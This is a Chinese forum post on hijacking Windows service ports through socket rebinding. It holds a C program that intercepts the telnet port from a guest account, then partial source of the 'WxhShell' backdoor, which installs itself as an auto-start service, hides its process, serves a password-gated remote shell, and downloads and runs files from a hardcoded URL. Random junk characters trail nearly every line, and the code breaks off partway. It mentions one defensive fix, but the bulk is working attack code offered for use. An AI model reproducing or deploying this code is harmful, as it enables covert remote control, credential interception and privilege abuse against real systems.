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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: HPCzh  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %;!@\5$  
K)]7e?:Wu  
  saddr.sin_family = AF_INET; f?dNTfQ3mi  
m`g%\o^6i  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Gs7mO  
r%xp^j}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); X@b$C~+  
w^ui%9 &6H  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 a)(j68c  
4adCMfP7.  
  这意味着什么?意味着可以进行如下的攻击: +#6WORH0S  
H#E   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;J2U5Y NO  
H'<9;bD -  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) j+*VP  
x]euNa  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 vROl}s;  
}[!;c+ke  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  V{HZ/p_Y  
~1S7\e7{  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hEl)BRJ  
7Fq mT  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Ufv{6"sH  
gET& +M   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6O"Vy  
!#rZ eDmw  
  #include u4IgPCTZ+  
  #include Ki^m&P   
  #include R=i$*6}a  
  #include    jn^i4f>N  
  DWORD WINAPI ClientThread(LPVOID lpParam);   CUnZ}@?d  
  int main() m/0G=%d%k  
  { dDi 1{s  
  WORD wVersionRequested; To]WCFp6@  
  DWORD ret; KAgiY4  
  WSADATA wsaData; -njxc{b  
  BOOL val; zO2<Igb  
  SOCKADDR_IN saddr; ,<R/x[  
  SOCKADDR_IN scaddr; n j; KnZ  
  int err; 8ji!FZf  
  SOCKET s; &m'O :ZS2  
  SOCKET sc; *W(b=u  
  int caddsize; $ ohwBv3S  
  HANDLE mt; J0@m Ol  
  DWORD tid;   cC"7Vt9b  
  wVersionRequested = MAKEWORD( 2, 2 ); /p<mD-:.M  
  err = WSAStartup( wVersionRequested, &wsaData ); 5G(y  
  if ( err != 0 ) { K.o?g?&<  
  printf("error!WSAStartup failed!\n"); ;y=w :r\A  
  return -1; }=?r`J+Ev;  
  } </bWFW~x  
  saddr.sin_family = AF_INET; E4}MvV=  
   8Ral%I:gr  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 SK;f#quUQ  
ovm*,La)g  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~>>o'H6  
  saddr.sin_port = htons(23); -|J?-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8uyVx9C0  
  { Gg5vf]VFo  
  printf("error!socket failed!\n"); [<wy @W  
  return -1; $N,9 e  
  } i;6\tK"!  
  val = TRUE; *'d5~dz=  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ZJy D/9y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !RiPr(m@y  
  { qpp:h_E  
  printf("error!setsockopt failed!\n"); 168U-<  
  return -1; jG)>{D  
  } fQOaTsyA  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2q2wo&uK  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 N#T MU  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 e= 8ccj  
`q$DNOrS  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) H{yPi7 P  
  { %}'sFu m`  
  ret=GetLastError(); &hV;3";  
  printf("error!bind failed!\n"); '\_ic=&u  
  return -1; J3$`bK6F6  
  } YI%S)$  
  listen(s,2); Wz=ZhE9g  
  while(1) nr s!e  
  { v]!|\]  
  caddsize = sizeof(scaddr); Bm~>w`1wK  
  //接受连接请求 azE>uEsE  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); M~"]h:m&'v  
  if(sc!=INVALID_SOCKET) <a$cB+t  
  { *qz]vUb/0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ghms-.:b8  
  if(mt==NULL) Dt r'X@U  
  { }$$b6G  
  printf("Thread Creat Failed!\n"); }jIb ^|#CD  
  break; RKj A`cJ  
  } ]}'WNy6c&x  
  } rbP.N ?YU%  
  CloseHandle(mt); $f)Y !<bC  
  } `P# h?tZ  
  closesocket(s); (8H^{2K~  
  WSACleanup(); 8nZPY)o  
  return 0; ipU"|{NK  
  }   @|d|orMC  
  DWORD WINAPI ClientThread(LPVOID lpParam) *qpmI9m  
  { >!a*wf~]  
  SOCKET ss = (SOCKET)lpParam; wHIS}OONz  
  SOCKET sc; j?.VJ^Ff/u  
  unsigned char buf[4096]; sq<y2j1oF  
  SOCKADDR_IN saddr; =x[`W9.D  
  long num; 3}N:oJI$z  
  DWORD val; i<@|+*>M  
  DWORD ret; d}WAP m  
  //如果是隐藏端口应用的话,可以在此处加一些判断 H:~LL0Md%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {8JJ$_  
  saddr.sin_family = AF_INET; >O?EFd>E  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); | @mZ]`p  
  saddr.sin_port = htons(23); xQ$*K]VP  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9D 0ujup  
  { Ymn0?$,D1=  
  printf("error!socket failed!\n"); 1;H(   
  return -1; 85H8`YwPh  
  } .m+KXlP  
  val = 100; 5HJ6[.HO  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \hm=AGI0  
  { |'a5n h!  
  ret = GetLastError(); 8-+IcyUza  
  return -1; rZzto;NDS  
  } _#-(XQa  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) cG ^'Qm  
  { ybB/sShGM  
  ret = GetLastError(); @AWKEo<7.I  
  return -1; B8C"i%8V)  
  } Eb#0 -I  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) C' ny 2>uA  
  { lN^L#m*@  
  printf("error!socket connect failed!\n"); %n{E/06f  
  closesocket(sc); ,.F,]m=  
  closesocket(ss); %>pglI  
  return -1; FIW*N r  
  } A$%%;O   
  while(1) $~U_VQIA^  
  { BQ".$(c q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 N{E >R&,q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6Zkus20  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .F> c Z,  
  num = recv(ss,buf,4096,0); Xhi9\wteYw  
  if(num>0) [j-]n#E=9y  
  send(sc,buf,num,0); jJg 'Y:K9q  
  else if(num==0) g.&&=T  
  break; Mi S$Y  
  num = recv(sc,buf,4096,0); #d__  
  if(num>0) GHH1jJ_[7  
  send(ss,buf,num,0); 5\qoZs*e  
  else if(num==0) : h-N  
  break; du`],/ 6  
  } ,mjwQ6:Ny  
  closesocket(ss); -l$]>J~  
  closesocket(sc); JCS$Tm6y<_  
  return 0 ; ~` #t?1SP  
  } /Nb&e  
\6nWt6M  
 #*?5  
========================================================== = V%s^  
lvk(q\-f  
下边附上一个代码,,WXhSHELL I gA0RY1  
A1Rt  
========================================================== +9,"ne1'e  
3Pkzzyk_|D  
#include "stdafx.h" (<2PhJ|  
W=]QTx,J  
#include <stdio.h> #OH# &{H  
#include <string.h> StaX~J6=  
#include <windows.h> }B}?qV  
#include <winsock2.h> `<C)oF\~f  
#include <winsvc.h> V$<og  
#include <urlmon.h> F8>Fp"  
gb8nST$r  
#pragma comment (lib, "Ws2_32.lib") ,Q >u N  
#pragma comment (lib, "urlmon.lib") I.1zD aP  
`'.u$IBW  
#define MAX_USER   100 // 最大客户端连接数 EZE/~$`3   
#define BUF_SOCK   200 // sock buffer Y <Ta2H  
#define KEY_BUFF   255 // 输入 buffer RcMW%q$dG  
pH'#v]"  
#define REBOOT     0   // 重启 Y }Rx`%X  
#define SHUTDOWN   1   // 关机 F;5.nKo  
cYmMO[4YG'  
#define DEF_PORT   5000 // 监听端口 r9z/hm}E  
lLyMm8E%pZ  
#define REG_LEN     16   // 注册表键长度 )r5QOa/  
#define SVC_LEN     80   // NT服务名长度 _`*x}  
>mi%L3Pk  
// 从dll定义API oq(um:m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fQ 'P2$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vw>O;u.]B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,]42v?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D />REC^  
tWdj"n%  
// wxhshell配置信息 Z?O aY4  
struct WSCFG { |:L<Ko  
  int ws_port;         // 监听端口 V[uB0#Lp  
  char ws_passstr[REG_LEN]; // 口令 U}_l]gNn  
  int ws_autoins;       // 安装标记, 1=yes 0=no JrQ*.lJj  
  char ws_regname[REG_LEN]; // 注册表键名 w*uHB;?  
  char ws_svcname[REG_LEN]; // 服务名 I[WW1P5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B/c_pRl;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |wQ|h$|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (zCas}YAKI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `.>2h}op  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" n$F&gx'^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u B~/W  
-r_z,h|  
}; @;"HslU\Q  
]SFB_5Gb  
// default Wxhshell configuration /E@LnKe  
struct WSCFG wscfg={DEF_PORT, .3Jggp  
    "xuhuanlingzhe", l5l:'EY>  
    1, 'd D d9  
    "Wxhshell", ?r"m*fY%  
    "Wxhshell", TGY^,H>J  
            "WxhShell Service", S/"-x{Gc2v  
    "Wrsky Windows CmdShell Service", C(Yk-7  
    "Please Input Your Password: ", bP`yLz  
  1, 1X.5cl?V  
  "http://www.wrsky.com/wxhshell.exe", (B.J8`h }  
  "Wxhshell.exe" 4xjk^N9  
    }; jt@k< #h~  
RM|<(kq  
// 消息定义模块 k$9oUE,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M@[{j  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #6[FGM  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ia*eb%HG  
char *msg_ws_ext="\n\rExit."; rg]eSP3 W  
char *msg_ws_end="\n\rQuit."; s_y Y,Z:  
char *msg_ws_boot="\n\rReboot..."; WJ9Jj69  
char *msg_ws_poff="\n\rShutdown..."; O~.A}  
char *msg_ws_down="\n\rSave to "; M~t S *  
O%AQ'['  
char *msg_ws_err="\n\rErr!"; osB[KRT>("  
char *msg_ws_ok="\n\rOK!"; L NmsvU  
>j{phZ  
char ExeFile[MAX_PATH]; =5a~xlBjD  
int nUser = 0; 2_6x2Ia4  
HANDLE handles[MAX_USER]; .h-:) e*  
int OsIsNt; hs}nI/#  
 =P\H}?PF  
SERVICE_STATUS       serviceStatus; Fyrr,#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2~AGOx  
c!AGKc  
// 函数声明 r3<yG"J86  
int Install(void); 7Q7z6p/\v  
int Uninstall(void); {x40W0  
int DownloadFile(char *sURL, SOCKET wsh); C S"2Sd 1`  
int Boot(int flag); O:"gJ4D  
void HideProc(void); P^#<h"Ht  
int GetOsVer(void); 3de<H=H'  
int Wxhshell(SOCKET wsl); Ouc=4'$-  
void TalkWithClient(void *cs); W! v8'T  
int CmdShell(SOCKET sock); 0&E{[~Pv  
int StartFromService(void); w&:"x@ -|  
int StartWxhshell(LPSTR lpCmdLine); *D! $gfa  
m{gx\a.5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N>giFj[dD  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  ~,Ck  
SE&J)Sj]  
// 数据结构和表定义 ]fg?)z-Z  
SERVICE_TABLE_ENTRY DispatchTable[] = Z6\OkD  
{ Jf{6'Ub  
{wscfg.ws_svcname, NTServiceMain}, {]]qd!,  
{NULL, NULL} C vfm ,BL  
}; WDNuR #J?  
jk,: IG  
// 自我安装 P#]%C  
int Install(void) Ll\y2oJ  
{ AI}29L3C  
  char svExeFile[MAX_PATH]; EH<rUv63  
  HKEY key; Dp4\rps  
  strcpy(svExeFile,ExeFile); gf7%vyMo$  
gTcLS|& H  
// 如果是win9x系统,修改注册表设为自启动 l?LwQmq6  
if(!OsIsNt) { m?VA 1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q'9u8b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GZ( W6 4  
  RegCloseKey(key); ZE863M@.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8`l bKV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :^]rjy/|+  
  RegCloseKey(key); aE BQx  
  return 0; ")LcB' C  
    } Q{1Q w'+@  
  } Q]wM WV  
} 9bd$mp  
else { PLlad\  
CmKbpN*  
// 如果是NT以上系统,安装为系统服务 ]  }XsP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |#G.2hMFr  
if (schSCManager!=0) o|FjNL  
{ +QpgG4h  
  SC_HANDLE schService = CreateService OOJg%y*H  
  ( If[4]-dq  
  schSCManager, MHNuA,cz  
  wscfg.ws_svcname, &-M>@BMy  
  wscfg.ws_svcdisp, c&4EO|  
  SERVICE_ALL_ACCESS, }Fs;sfH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :98<dQIG  
  SERVICE_AUTO_START, 2loy4f  
  SERVICE_ERROR_NORMAL, p,#t[K  
  svExeFile, t+7|/GLs2  
  NULL, =GH>-*qp  
  NULL, Uj]Tdg  
  NULL, Mkc   
  NULL, eQK}J]S<  
  NULL vKrOIBP  
  ); 5,Rxc=  
  if (schService!=0) C{Y0}ZrmlF  
  { lRb|GS.h/  
  CloseServiceHandle(schService); Ed">$S  
  CloseServiceHandle(schSCManager); !j8.JP}!)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rLP:kP'b  
  strcat(svExeFile,wscfg.ws_svcname); I'W`XN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _"nzo4e0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I?y!d G  
  RegCloseKey(key); R-%v??  
  return 0; `X;'*E]e  
    } XR2Gw 4]  
  } wg-qq4Q\  
  CloseServiceHandle(schSCManager); pf&H !-M  
} b3j?@31AD  
} 8s+9PE  
HRP  
return 1; 4\?z^^  
} *yX5g,52-|  
ohLM9mc9  
// 自我卸载 goa@ e  
int Uninstall(void) kh7RQbNY<I  
{ D5Z@6RVt  
  HKEY key; u4eA++ eT  
U!y GZEU"[  
if(!OsIsNt) { O%H c%EfG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \}Hi\k+h':  
  RegDeleteValue(key,wscfg.ws_regname); o54/r#~fi  
  RegCloseKey(key); 6VUkZKc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5u5-:#sLy  
  RegDeleteValue(key,wscfg.ws_regname); I-glf?F)  
  RegCloseKey(key); Qq7%{`< }  
  return 0; OTy{:ID  
  } D(X:dB50@  
} 6x*$/1'M3;  
} 2h;#BJ))  
else { hD*83_S  
xGkc_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @r130eLh  
if (schSCManager!=0) 1#w'<}h#U  
{ )i^+=TZq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $wm.,Vb  
  if (schService!=0) evQk,;pIm  
  {  S!Bnz(z  
  if(DeleteService(schService)!=0) { l_lK,=cLj+  
  CloseServiceHandle(schService); "AuU5G 9'I  
  CloseServiceHandle(schSCManager); LlF|VR&P.  
  return 0; j6&q6C X  
  } ^D]y<@01  
  CloseServiceHandle(schService); ^[=1J  
  } @{ CP18~:  
  CloseServiceHandle(schSCManager); -)pVgf  
} XS_Ib\-50  
} hfL8]d-  
Ly~s84k_po  
return 1; .  g8WMm  
} D,,$  
%;ZDw@_<  
// 从指定url下载文件 lHc|: vG?  
int DownloadFile(char *sURL, SOCKET wsh) G0mvrc-(  
{ ] <y3;T\~  
  HRESULT hr; TjWMdoU$J  
char seps[]= "/"; hmES@^n!_  
char *token; ~&7 *<`7{  
char *file; f1wwx|b%.  
char myURL[MAX_PATH]; *USzzLq  
char myFILE[MAX_PATH]; `]$H\gNI[8  
,9"A"p*R  
strcpy(myURL,sURL); {SJnPr3R  
  token=strtok(myURL,seps); JPmZ%]wA  
  while(token!=NULL) f eA(Rj  
  { Rap =&  
    file=token; b l]YPx8  
  token=strtok(NULL,seps); 3IYbgUG  
  } lfe^_`ij(+  
qYbPF|Y=Z  
GetCurrentDirectory(MAX_PATH,myFILE); ^!x}e+ o  
strcat(myFILE, "\\"); 2`cVi"U  
strcat(myFILE, file); lFc4| _c g  
  send(wsh,myFILE,strlen(myFILE),0); 8 huB<^  
send(wsh,"...",3,0); q@ %9Y3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9 :FzSD  
  if(hr==S_OK) BDc "0XH  
return 0; 3=Va0}#&  
else Yvxp(  
return 1; Sp~gY]:  
hZDv5]V:0  
} TM$Ek^fQ.  
((E5w:=?  
// 系统电源模块 L}.V`v{zc  
int Boot(int flag) ]qNPOnlp  
{ r/B iR0$E  
  HANDLE hToken; !|;w(/  
  TOKEN_PRIVILEGES tkp; VsR`y]"g  
d$*SVd:  
  if(OsIsNt) { GcA!I!j/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K)n0?Q_>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t.tdY  
    tkp.PrivilegeCount = 1; (??|\ &DTi  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j,CMcP7A -  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4j h4XdH  
if(flag==REBOOT) { * S>,5R0k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;3k6_ub  
  return 0; +gsk}>"  
} x1ID6kI[{*  
else { /DQcM.3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `%M} :T  
  return 0; ^iwM(d]#5  
} $/uNV1 ]o  
  } DUK.-|a7  
  else { bU i@4S  
if(flag==REBOOT) { Q|W!m0XO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,*$/2nB^  
  return 0; C'$}!p70  
} % 1p4K)  
else { j']Q-s(s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \w=7L- 8  
  return 0; dLek4q `l  
}  YErn50L  
} <AB.`["  
8Bnw//_pT  
return 1; +/Lf4??JV  
} R.)U<`||  
OWK)4[HY(  
// win9x进程隐藏模块 cMEM}Qh T  
void HideProc(void) IBzHXa>75  
{ zA/W+j$:  
r4c3t,L*$I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =`X ;fz  
  if ( hKernel != NULL ) rS 4'@a  
  { /z4xq'<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :l>T~&/98  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); oLn| UWe_  
    FreeLibrary(hKernel); [vaG{4m  
  } 9e Dji,  
~QsQ7SAs  
return; vN7ihe[C  
} /j' We-C  
2/B Flb  
// 获取操作系统版本 FJ}QKDQW=  
int GetOsVer(void) t@/r1u|iq  
{ 3RRZVc* ^  
  OSVERSIONINFO winfo; {Pg7IYjH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cuR|cUK  
  GetVersionEx(&winfo); Drlt xI)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d~| qx  
  return 1; zF]hf P0Q  
  else 't{=n[  
  return 0; F,O+axO ja  
} \FTv N  
n37( sKG  
// 客户端句柄模块 XR\ iQ  
int Wxhshell(SOCKET wsl) l:HO|Mq  
{ ^B& Z  
  SOCKET wsh; {djOU 9]  
  struct sockaddr_in client; \lR~!6:  
  DWORD myID; )hQNIt3o_  
66'TdF]"  
  while(nUser<MAX_USER) >M:5yk@  
{ .<42-IEc  
  int nSize=sizeof(client); u>S&?X'a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V7401@F  
  if(wsh==INVALID_SOCKET) return 1; \\)-[4uC  
)X^nzhZ2O"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~82jL%-u  
if(handles[nUser]==0) RL&3 P@r  
  closesocket(wsh); 7FDraEr#f  
else o3WkbMJWM  
  nUser++; 9D#PO">|  
  } c>UITM=!I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  Uero!+_  
i ^IvT  
  return 0; 7GP?;P  
} fRa1m?%s  
<![T~<.  
// 关闭 socket IeU.T@ $  
void CloseIt(SOCKET wsh) H7SqM D*y9  
{ . t3@86xTJ  
closesocket(wsh); &erNVD5o  
nUser--; gN]`$==c[  
ExitThread(0); bm+ Mr  
} )nJ>kbO~8  
vGAPQg6*  
// 客户端请求句柄 tRv#%>fj  
void TalkWithClient(void *cs) 7CIje=u.q  
{ lT:<ZQyjT  
+'Ge?(E4_  
  SOCKET wsh=(SOCKET)cs; '  qM3.U  
  char pwd[SVC_LEN]; hNoN=J  
  char cmd[KEY_BUFF]; Va 5U`0  
char chr[1]; U=yD!  
int i,j; pj )I4C)  
SA&wW\Ym]  
  while (nUser < MAX_USER) { I&xRK'  
S77Gc:[;8  
if(wscfg.ws_passstr) { l1:j/[B=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;|^fAc~9{r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 08` @u4  
  //ZeroMemory(pwd,KEY_BUFF); :qZ^<3+:  
      i=0; UiSc*_N"  
  while(i<SVC_LEN) { MJC Yi<D  
Ww p^dx`!  
  // 设置超时 >r*Zm2($MR  
  fd_set FdRead; f6"j-IW[z  
  struct timeval TimeOut; _NkN3f5 1L  
  FD_ZERO(&FdRead); 4|e#b(!  
  FD_SET(wsh,&FdRead); ) )F.|w  
  TimeOut.tv_sec=8; S3<v?tqLr  
  TimeOut.tv_usec=0; _SaK]7}m!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qa~[fORO[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !+6l.`2WI  
+ ND9###  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9VByFQgM  
  pwd=chr[0]; [Ok8l='  
  if(chr[0]==0xd || chr[0]==0xa) { e&5K]W0{  
  pwd=0; Dk-L4FS  
  break; ws=TR  
  } >guQY I@4,  
  i++; )yP>}ME  
    } vy#(|[pL{  
n`,Q:  
  // 如果是非法用户,关闭 socket Ae#6=]V+^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |$t0cd  
} ,2`d3u^CW  
hLvv:C@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rYJ ))@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a)1,/:7'  
A E711l-  
while(1) { 3EvA 5K.  
.{ -yveE  
  ZeroMemory(cmd,KEY_BUFF); $ZRN#x@  
oc(bcU  
      // 自动支持客户端 telnet标准   [f0HUbPX  
  j=0; @nP}q!y  
  while(j<KEY_BUFF) { Lvq]SzOw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c)8wO=!  
  cmd[j]=chr[0]; dx}/#jMa  
  if(chr[0]==0xa || chr[0]==0xd) { |pqpF?h5|  
  cmd[j]=0; fF("c6:w(  
  break; ?C:fP`j:  
  } hYn'uL^~[  
  j++; kPH^X}O$  
    } / aG>we  
0EOX@;}  
  // 下载文件 LrMFzd}_O  
  if(strstr(cmd,"http://")) { (;&?B.<\:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >!1f`  
  if(DownloadFile(cmd,wsh)) k+[KD>;1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jtv Q<4  
  else /8}+# h)[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wp}9%Mq~Jy  
  } xbC8Amo;8"  
  else { KeI:/2  
Iv72;ZCh?6  
    switch(cmd[0]) { O&w3@9KJ?  
  Hi_Al,j:  
  // 帮助 1fW4=pF-K  
  case '?': { 8(5E<&JP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &&1Y"dFs  
    break; #0g#W  
  } M/a/H=J  
  // 安装 ^70.g?(f[  
  case 'i': { P0ltN  
    if(Install()) t;dQ~e20  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BhW]Oq&  
    else _MbVF>JOx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n>:c}QAJH  
    break; ]ZGvRA&  
    } fslk7RlSKg  
  // 卸载 @ P"`=BU&  
  case 'r': { HwW[M[qA  
    if(Uninstall()) |M<.O~|D6}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7e4tUAiuU  
    else 2${,%8"0s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I^O:5x> [l  
    break; ( ssH=a  
    } y- <PsP-I  
  // 显示 wxhshell 所在路径 uP{+?#a_-\  
  case 'p': { 'RV\}gqZ  
    char svExeFile[MAX_PATH]; ).+xcv   
    strcpy(svExeFile,"\n\r"); k]$E8[.t  
      strcat(svExeFile,ExeFile); "UoCT7X  
        send(wsh,svExeFile,strlen(svExeFile),0); r,.95@  
    break; _X%6+0M  
    } }8V;s-1  
  // 重启 B`Or#G3ph  
  case 'b': { jO&f*rxN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m>uI\OY{n  
    if(Boot(REBOOT)) 86[RH!e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ag>>B9  
    else { b*FU*)<4.  
    closesocket(wsh); >b4YbLkI#  
    ExitThread(0); + <!)k?  
    } *]:G7SW{  
    break; >^T,U0T])  
    } yToT7 X7F7  
  // 关机 RRI>bh]  
  case 'd': { (ciGLfNG  
